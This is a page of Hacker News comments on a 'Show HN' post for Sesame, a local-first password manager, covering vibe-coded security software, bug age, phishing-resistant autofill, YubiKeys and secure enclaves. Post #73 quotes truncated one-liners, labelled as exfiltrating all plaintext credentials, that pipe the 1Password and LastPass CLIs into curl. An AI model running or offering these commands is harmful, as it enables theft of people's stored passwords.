Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

Show HN: Sesame - a local-first, open-source password manager

usesesame.app

Post reply on HN
Print view View original

71–80 of 83 posts

Re: Show HN: Sesame - a local-first, open-source password manager

#71

Post by Greenpants »

giancarlostoro wrote: post #30
thehamkercat wrote: post #19

A vibe-coded password-manager? Sure! where do i sign up?

I never thought about wanting an HN comment as a wearable shirt before, but this ones one I would buy. But seriously, I love Claude and building all sorts of projects, but something as crucial as a password manager is a little bit too risky.

Reminds me of letting an LLM generate a strong password in the first place. Very practical, very quick, no terminal commands needed! I'm sure some have done exactly this. But then you realise your password is always shared with your LLM provider, and it's not so random after all (unless it used tools).

Re: Show HN: Sesame - a local-first, open-source password manager

#72

Post by Aachen »

jason_oster wrote: post #57
Aachen wrote: post #29

I loosely monitor new password managers that appear with surprising regularity on F-Droid. Most have security issues that can be trivially found. It's conceptually simple software (running strings through a function before writing it to disk): nice for learning a new language, but should everyone's practice implementation seriously land in stores? So I'm skeptical of any new ones appearing from scratch, praising all…

> A study I read a few months ago showed that old code has fewer bugs than new code, which seems intuitive but it's nice to have actual data on it as well Which study? Old software has bugs that live for decades, even security bugs. I don't have a study to cite, just open bug trackers and CVE lists.

That wasn't the claim. The claim is that stable code (that isn't changed except to fix bugs) has fewer bugs than code someone newly wrote and we haven't had as much time to run into or otherwise uncover flaws. I never meant that all old C code is bug-free craftsmanship or something xD

Found the reference (bless bookmark managers): https://security.googleblog.com/2024/09/eliminating-memory-s...

Relevant bits:

> vulnerabilities decay exponentially.

> A large-scale study of vulnerability lifetimes² published in 2022 in Usenix Security confirmed this phenomenon. Researchers found that the vast majority of vulnerabilities reside in new or recently modified code: [plot]

> This confirms and generalizes our observation⁴, published in 2021, that the density of Android’s memory safety bugs decreased with the age of the code, primarily residing in recent changes.

² https://www.usenix.org/conference/usenixsecurity22/presentat...

⁴ https://security.googleblog.com/2021/04/rust-in-android-plat...

Citing from [4]:

> The above analysis of the age of memory safety bugs in Android (measured from when they were first introduced) demonstrates why our memory-safe language efforts are best focused on new development and not on rewriting mature C/C++ code. Most of our memory bugs occur in new or recently modified code, with about 50% being less than a year old.

Re: Show HN: Sesame - a local-first, open-source password manager

#73

Post by jooize »

lrvick wrote: post #50
xoa wrote: post #34

Earlier quoted context omitted.

It's hard to give a big enough :rolleyes: for this nihilistic bullshit being spouted in 2026. In fact I'm going to go further: I accuse you lrvick of active maliciousness and trying to aid illicit access and discourage people from improving their security, because you have no excuse not to know better. > All they would need to do is install a wrapper for sesame that waits for the next database unlock and exfiltrates…

Who needs root? You seem to be under the impression the status quo password managers are reasonably secure for anyone, technical or otherwise. Exfiltrate all plaintext credentials from 1password: op list items \ | jq -r '.[].uuid' \ | xargs -n1 bash -c 'op get item "$1"' -- \ | curl -F 'p= /dev/null 2>&1 Exfiltrate all plaintext credentials from lastpass: lpass ls \ | grep -oP '(? /dev/null 2>&1 Stick one of those in…

While figuring out how to set up credential management for AI, I discovered 1Password CLI, and it terrifies me how it requires giving full account access for 10 minutes to the entire terminal! They seem to think the terminal environment should be treated the same as an app running with macOS protections, and that it's expected user experience to match how the GUI app operates. [1] I think that posture is wildly irresponsible, and that the 1Password GUI authorization dialog should specify and allow access only once to the items requested from CLI.

I don't understand why anyone would use LastPass. [2]

[1] https://www.1password.community/developers-69/security-conce... [2] https://en.wikipedia.org/wiki/LastPass#Security_incidents

Re: Show HN: Sesame - a local-first, open-source password manager

#74

Post by Aachen »

willangelo wrote: post #36
Aachen wrote: post #29

I loosely monitor new password managers that appear with surprising regularity on F-Droid. Most have security issues that can be trivially found. It's conceptually simple software (running strings through a function before writing it to disk): nice for learning a new language, but should everyone's practice implementation seriously land in stores? So I'm skeptical of any new ones appearing from scratch, praising all…

Side note: have you experimented with different ones? Do you recommend any in particular?

PrivacyGuides (mentioned in a sibling comment) usually has some strange logic for what makes something a good option but it's broadly useful to get some options and ideas

My answer is to more generally look for what's been around, whose authors haven't turned out to be malicious (even after 10+ years of being popular enough that they'd get the motherlode with one malicious update), have had good security responses and seemingly good security practices... so basically look at the oldest thing that meets your needs and search e.g. HN and read its Wikipedia to find out about any red flags. Compare that to two runner-ups

A specific feature I'd recommend is phishing-resistant browser integration, that is, autofill for the browser but it only suggests passwords that you've stored specifically for this website. If another domain asks for it, it shouldn't suggest it and that then raises alarm bells of like "did the website change domains or is someone pretending to be them?". There have been bugs in browser integrations but it's not that regular, you still need to be among the unlucky few that visit a malicious website or ad before it gets found out and fixed, and my professional opinion is that it's easily worth it (our company helps with custom/targeted phishing simulations) - just like the having of a password manager (single point of failure for (nearly) all your credentials) is a tradeoff in the first place that seems to generally pay off. Perhaps memorise a few strong passwords though, like for bank/broker login and such things that would be truly disastrous and also likely that someone has a use for the thing they hack (they're not going to care about your nudes nearly as much as when they can drain hard cash)

Re: Show HN: Sesame - a local-first, open-source password manager

#77

Post by pipes »

Aachen wrote: post #29

I loosely monitor new password managers that appear with surprising regularity on F-Droid. Most have security issues that can be trivially found. It's conceptually simple software (running strings through a function before writing it to disk): nice for learning a new language, but should everyone's practice implementation seriously land in stores? So I'm skeptical of any new ones appearing from scratch, praising all…

Did you have any thoughts on password safe?

https://pwsafe.org/

I am really afraid of supply chain attack. It feels inevitible that this will happen.

my only thought is i should just roll my own personal password manager closed source.

Re: Show HN: Sesame - a local-first, open-source password manager

#78

Post by lrvick »

what wrote: post #63
lrvick wrote: post #54

Earlier quoted context omitted.

Of course you can. Random non technical executive goes to a login page, and a popup happens on an external device like a phone or keychain dongle, watch, or any secondary display that asks "Allow aws.amazon.com root access to open browser tab on laptop xyz?" and if the page you are on right now says "doordash.com" and you did not ask to decrypt aws root credentials, then you say "nope, that does not seem right" and t…

What? This has nothing to do with encrypting each secret separately and requiring presence for decryption. Which I think is a good idea, it just has terrible UX.

This is me talking about the UX of decrypting one password at a time with explicit consent.

Re: Show HN: Sesame - a local-first, open-source password manager

#79

Post by lrvick »

Marsymars wrote: post #65
cure_42 wrote: post #58

Earlier quoted context omitted.

You use a yubikey? Duh?

Yeah, I mean, I'm just not going to do that, I tried a yubikey for a few weeks and found the convenience factor to be terrible. Like if someone wants a password manager that either prompts them or requires a yubikey for every password, that's fine, but expecting everyone else to be on board with that isn't reasonable. I'm not really willing to accept a level of convenience other than "unlocking my PC lets me autofill…

> Yeah, I mean, I'm just not going to do that, I tried a yubikey for a few weeks and found the convenience factor to be terrible.

If you cannot be bothered to touch a device when it blinks in exchange for having defense against phishing and malware, then I am going to assume you believe you are magically immune to phishing and malware.

Re: Show HN: Sesame - a local-first, open-source password manager

#80

Post by lrvick »

what wrote: post #62
lrvick wrote: post #61

Earlier quoted context omitted.

An optional remotely attestable secure enclave all secrets are encrypted to on first entry can however bulk encrypt secrets to a public key of each device bypassing the touch policy when adding new devices but still requiring a manual tap for each secret on each device if consent challenges on all involved devices and optional time delay policies are met.

I’m really not sure what you’re trying to say? You have some magic device that can tell when you want you reencrypt everything for new devices versus just accessing your passwords? This doesn’t exist.

Policy gated secure enclaves are absolutely a thing and I have designed several of them, some of which are responsible for protecting hundreds of billions of dollars in assets for major financial institutions.

To make a transaction several people around the world sign with hardware enclaves in their devices, or yubikeys/nitrokeys, and if the threshold of signatures is met, the enclave can permit bulk usage of key material that would not be safe to directly use locally.

The same enclaves that protect multi-billion dollar signing keys, can also be used to assist with secure policy-gated bulk transfer of passwords between the TPMs of different computers, among many other uses.

https://whitepaper.turnkey.com/

https://distrust.co/blog/enclaveos.html

https://caution.co

Post reply on HN